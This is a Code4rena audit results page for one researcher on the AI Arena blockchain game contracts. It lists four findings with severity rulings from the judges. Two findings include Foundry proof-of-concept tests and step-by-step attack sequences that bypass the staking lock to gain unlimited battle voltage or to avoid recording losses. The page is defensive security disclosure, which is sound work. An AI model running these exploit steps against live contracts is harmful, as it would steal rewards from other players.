AI Arena - handsomegiraffe's results

In AI Arena you train an AI character to battle in a platform fighting game. Imagine a cross between PokΓ©mon and Super Smash Bros, but the characters are AIs, and you can train them to learn almost any skill in preparation for battle.

General Information

Platform: Code4rena

Start Date: 09/02/2024

Pot Size: $60,500 USDC

Total HM: 17

Participants: 283

Period: 12 days

Judge:

Id: 328

League: ETH

AI Arena

Findings Distribution

Researcher Performance

Rank: 185/283

Findings: 3

Award: $4.43

🌟 Selected for report: 0

πŸš€ Solo Findings: 0

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L439

Vulnerability details

Summary

In RankedBattle.sol, curStakeAtRisk rounds down to zero when staked amount is 999 or less, which allows a user to avoid losing any staked NRN after losing a battle.

Vulnerability Detail

// RankedBattle.sol
function _addResultPoints() {
	...
	// Rounds down to zero when amountStaked < 1000; 
	curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;
	...
}

Assume bpsLostPerLoss = 10, if a user staked 999 or less NRN, curStakeAtRisk will always round down to zero. So after losing a battle, there will be no penalty.

amountStaked[tokenId] -= curStakeAtRisk; 

Impact

Although the staked amount for this bug to work is relatively small, NRN value could grow in the future to a point where 1000 NRN is significant.

Also, this bug could open up creative ways for an attacker to game the system by making some of his NFT intentionally lose (i.e. by setting an inferior AI model) but at no cost (i.e. keep his stake of 999 NRN).

Tool used

Manual Review

Recommendation

Consider setting a minimum staked amount.

Assessed type

Other

#0 - c4-pre-sort

2024-02-22T15:52:32Z

raymondfam marked the issue as insufficient quality report

#1 - c4-pre-sort

2024-02-22T15:52:41Z

raymondfam marked the issue as duplicate of #38

#2 - c4-judge

2024-03-07T02:58:22Z

HickupHH3 changed the severity to 3 (High Risk)

#3 - c4-judge

2024-03-07T03:15:31Z

HickupHH3 marked the issue as partial-75

Awards

1.876 USDC - $1.88

Labels

bug
2 (Med Risk)
downgraded by judge
insufficient quality report
satisfactory
:robot:_30_group
duplicate-932

External Links

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L139

Vulnerability details

Summary

In MergingPool.sol, claimRewards() function inputs are not validated, allowing anyone who is eligible for rewards to pass in arbitrary data which could severely break the game mechanics.

Vulnerability Detail

// MergingPool.sol
function claimRewards(
        string[] calldata modelURIs,
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes 
    )

All 3 types of inputs are not validated. But of the three, customAttributes is most likely to break the game if unexpected data is passed in.

customAttributes expect values to represent 'element' and 'weight' of the newly created fighter. From docs, 'element' should be limited to types fire/water/electricity, while 'weight' should be limited to Lightweight/Middleweight/Heavyweight. An attacker could pass in any values e.g. [1000, type(uint256).max] and a newly created fighter would have these custom attributes.

Impact

Game will break or malfunction when calculations are run using these values, potentially giving an attacker an unfair advantage against other players.

From the docs, 'weight' is a primary determinant of other relative strength and weaknesses. Through this bug, the attacker could set weight to an artificially high value and dominate in all battles and severely break the game. Thus, impact is assessed to be high.

Tool used

Manual Review

Recommendation

Validate all function inputs to ensure correct data is passed in. E.g. restricting customAttributes to certain values representing element and weight.

Assessed type

Invalid Validation

#0 - c4-pre-sort

2024-02-24T08:53:49Z

raymondfam marked the issue as insufficient quality report

#1 - c4-pre-sort

2024-02-24T08:54:05Z

raymondfam marked the issue as duplicate of #226

#2 - c4-judge

2024-03-11T10:23:54Z

HickupHH3 changed the severity to 2 (Med Risk)

#3 - c4-judge

2024-03-11T10:24:15Z

HickupHH3 marked the issue as satisfactory

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L254 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L254 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/VoltageManager.sol#L94

Vulnerability details

Summary

In RankedBattle.sol, a bug exists that allows a user to bypass the NFT staking mechanics to transfer his fighter NFT to another address and gain unlimited voltage for battles.

Vulnerability Detail

By design, when a user stakes NRN, the fighter NFT is locked to prevent transfers. The NFT is unlocked when all NRN is unstaked.

// RankedBattle.sol
function stakeNRN(uint256 amount, uint256 tokenId) external {
	if (amountStaked[tokenId] == 0) {
		_fighterFarmInstance.updateFighterStaking(tokenId, true);
	}
}

function unstakeNRN(uint256 amount, uint256 tokenId) external {
	 if (success) {
		if (amountStaked[tokenId] == 0) {
			_fighterFarmInstance.updateFighterStaking(tokenId, false);
		}
		emit Unstaked(msg.sender, amount);
	}
}

It follows then that if a user battles to earn points, NRN is being staked and therefore the NFT cannot be transferred during a round.

There is however a way to bypass this mechanic: When a user loses all his staked NRN, he could then unstake NRN (passing inamount = 0) which unlocks the NFT. Next, the user can regain staked NRN through winning battles, putting him in a state where 1) he has positive staked NRN, 2) he can earn points from battles, and 3) he is free to transfer his NFT.

Every time the user transfers his NFT to another address that he controls, voltage is reset back to 100, essentially giving the user unlimited battle attempts.

// VoltageManager.sol
    function spendVoltage(address spender, uint8 voltageSpent) public {
        require(spender == msg.sender || allowedVoltageSpenders[msg.sender]);
        // @audit When msg.sender is a new address, _replenishVoltage sets voltage = 100
        if (ownerVoltageReplenishTime[spender] <= block.timestamp) {
            _replenishVoltage(spender);
        }

Proof of Concept

Attack steps:

  1. Stake NRN -- NFT is locked here
  2. Set an inferior AI model to result in constant losses
  3. Join battles and lose entire stake
  4. Unstake 0 NRN -- NFT is unlocked here
  5. Set a superior AI model (e.g. 60% win rate)
  6. Join battles and win to recover stake
  7. Transfer NFT to new address whenever user has run out of voltage
  8. Repeat steps 6-7 as many times as desired

Run this POC in RankedBattle.t.sol

function testUnlimitedVoltage() public {
        address attacker = vm.addr(3);
        address attacker_alt = vm.addr(4);
        _mintFromMergingPool(attacker);
        _mintFromMergingPool(attacker);
        assertEq(_fighterFarmContract.ownerOf(1), attacker);
        _fundUserWith4kNeuronByTreasury(attacker);
        uint256 stakeAmt = 3_000 * 10 ** 18;
        vm.prank(attacker);
        _rankedBattleContract.stakeNRN(stakeAmt, 1);
        assertEq(_rankedBattleContract.amountStaked(1), stakeAmt);

        // Update bpsLostPerLoss to simulate multiple losses to lose all amtStaked
        uint256 newBpsLostPerLoss = 10000;
        _rankedBattleContract.setBpsLostPerLoss(newBpsLostPerLoss);

        // Lose all staked
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(1, 50, 2, 1500, true);
        assertEq(_rankedBattleContract.amountStaked(1), 0);

        // User unstakes
        vm.prank(attacker);
        _rankedBattleContract.unstakeNRN(0, 1);
        assertTrue(_rankedBattleContract.hasUnstaked(1,0));

        // Attacker has bypassed staked nft mechanism, free to transfer NFT now
        assertFalse(_fighterFarmContract.fighterStaked(1));

        // Attacker uses remaining voltage to play battles
        vm.startPrank(address(_GAME_SERVER_ADDRESS));
        for (uint i; i < 9; i++) {
            _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);
        }

        // Expect revert as 10 games played already, run out of voltage
        vm.expectRevert();
        _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);
        vm.stopPrank();

        // Now do transfer to attacker-controlled EOA
        vm.prank(attacker);
        _fighterFarmContract.transferFrom(attacker, attacker_alt, 1);
        assertTrue(_fighterFarmContract.ownerOf(1) == attacker_alt);

        // Now attacker has full voltage again and can continue playing battles for free
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);
    }

Impact

Impact assessed to be high because if an attacker has a fighter with >50% win rate, having unlimited battle attempts could result in him winning all points and stealing NRN rewards from other users.

Recommendation

Consider tagging voltage to tokenId instead of msg.sender.

Assessed type

Other

#0 - c4-pre-sort

2024-02-25T03:46:10Z

raymondfam marked the issue as primary issue

#1 - c4-pre-sort

2024-02-25T03:46:14Z

raymondfam marked the issue as insufficient quality report

#2 - raymondfam

2024-02-25T03:47:37Z

Intended design as the same feature will also be needed when the user has reached 10 fighters and will need to continue winning NFT from the merging pool.

#3 - c4-judge

2024-03-14T10:40:59Z

HickupHH3 marked the issue as duplicate of #137

#4 - c4-judge

2024-03-15T02:38:02Z

HickupHH3 marked the issue as not a duplicate

#5 - c4-judge

2024-03-15T02:38:07Z

HickupHH3 changed the severity to 2 (Med Risk)

#6 - c4-judge

2024-03-15T02:38:24Z

HickupHH3 marked the issue as duplicate of #137

#7 - c4-judge

2024-03-15T02:38:30Z

HickupHH3 marked the issue as satisfactory

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L342

Vulnerability details

Summary

In RankedBattle.sol, user could bypass the NFT staking mechanics to transfer out NFT and avoid losing in battle due to math underflow

Vulnerability Detail

Even after staking NRN (which should lock NFT), a user can transfer his NFT using these steps:

  1. Intentionally lose in battles to bring amountStaked to zero, and increase stakeAtRisk
  2. Unstake all NRN, passing in amount = 0, which unlocks the NFT allowing transfers
  3. User can continue earning points through battles as amountStaked + stakeAtRisk > 0, User switches to a winning model and regain staked NRN
  4. Once user has regained staked NRN and has positive points, user can choose to 'lock in' those points and prevent further losses by transferring NFT to another address

When the NFT is transferred to another address, accumulated points for the new address is 0 and the NFT cannot lose battles due to an underflow in _addResultPoints:

// RankedBattle.sol
function _addResultPoints() {
	...
	// if battle result is a loss
	accumulatedPointsPerAddress[fighterOwner][roundId] -= points;
}

Proof of Concept

Attack steps:

  1. Stake NRN -- NFT is locked here
  2. Set an inferior AI model to result in constant losses
  3. Join battles and lose entire stake
  4. Unstake 0 NRN -- NFT is unlocked here
  5. Set a superior AI model (e.g. 60% win rate)
  6. When user has won enough battles to recover NRN stake, transfer NFT to another address
  7. All subsequent battles that this NFT fight cannot record a loss due to the underflow

Run this POC in RankedBattle.t.sol

function testAvoidLosing() public {
        address attacker = vm.addr(3);
        address attacker_alt = vm.addr(4);
        _mintFromMergingPool(attacker);
        _mintFromMergingPool(attacker);
        assertEq(_fighterFarmContract.ownerOf(1), attacker);
        _fundUserWith4kNeuronByTreasury(attacker);
        uint256 stakeAmt = 3_000 * 10 ** 18;
        vm.prank(attacker);
        _rankedBattleContract.stakeNRN(stakeAmt, 1);
        assertEq(_rankedBattleContract.amountStaked(1), stakeAmt);

        // Update bpsLostPerLoss to simulate multiple losses to lose all amtStaked
        uint256 newBpsLostPerLoss = 10000;
        _rankedBattleContract.setBpsLostPerLoss(newBpsLostPerLoss);

        // Lose all staked
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(1, 50, 2, 1500, true);
        assertEq(_rankedBattleContract.amountStaked(1), 0);

        // User unstakes
        vm.prank(attacker);
        _rankedBattleContract.unstakeNRN(0, 1);
        assertTrue(_rankedBattleContract.hasUnstaked(1,0));

        // Attacker has bypassed staked nft mechanism, free to transfer NFT now
        assertFalse(_fighterFarmContract.fighterStaked(1));

        // Simulate multiple wins to regain all staked
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);
        assertEq(_rankedBattleContract.amountStaked(1), stakeAmt);

        // Now do transfer to attacker-controlled EOA
        vm.prank(attacker);
        _fighterFarmContract.transferFrom(attacker, attacker_alt, 1);
        assertTrue(_fighterFarmContract.ownerOf(1) == attacker_alt);

        // Attacker cannot lose, reverts due to underflow when trying to deduct points
        vm.prank(address(_GAME_SERVER_ADDRESS));
        vm.expectRevert();
        _rankedBattleContract.updateBattleRecord(1, 50, 2, 1500, true);

        // Attacker can keep winning and earn points
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);
    }

Impact

After transferring the NFT to another address, the user can only win battles and never lose. This would likely earn him very high points at the result of other honest players, essentially stealing NRN rewards from them.

Recommendation

Consider allocating points only on a tokenId basis instead of current design which also allocates to an address fighterOwner. This would prevent underflow.

Assessed type

Under/Overflow

#0 - c4-pre-sort

2024-02-25T03:54:34Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-02-25T03:54:45Z

raymondfam marked the issue as duplicate of #1641

#2 - c4-judge

2024-03-12T03:34:04Z

HickupHH3 changed the severity to 2 (Med Risk)

#3 - c4-judge

2024-03-12T04:01:26Z

HickupHH3 changed the severity to 3 (High Risk)

#4 - c4-judge

2024-03-12T04:03:31Z

HickupHH3 changed the severity to 2 (Med Risk)

#5 - c4-judge

2024-03-13T10:43:26Z

HickupHH3 marked the issue as not a duplicate

#6 - c4-judge

2024-03-13T10:43:34Z

HickupHH3 marked the issue as duplicate of #833

#7 - c4-judge

2024-03-13T11:32:28Z

HickupHH3 marked the issue as duplicate of #1641

#8 - c4-judge

2024-03-15T02:38:55Z

HickupHH3 marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax Β© 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter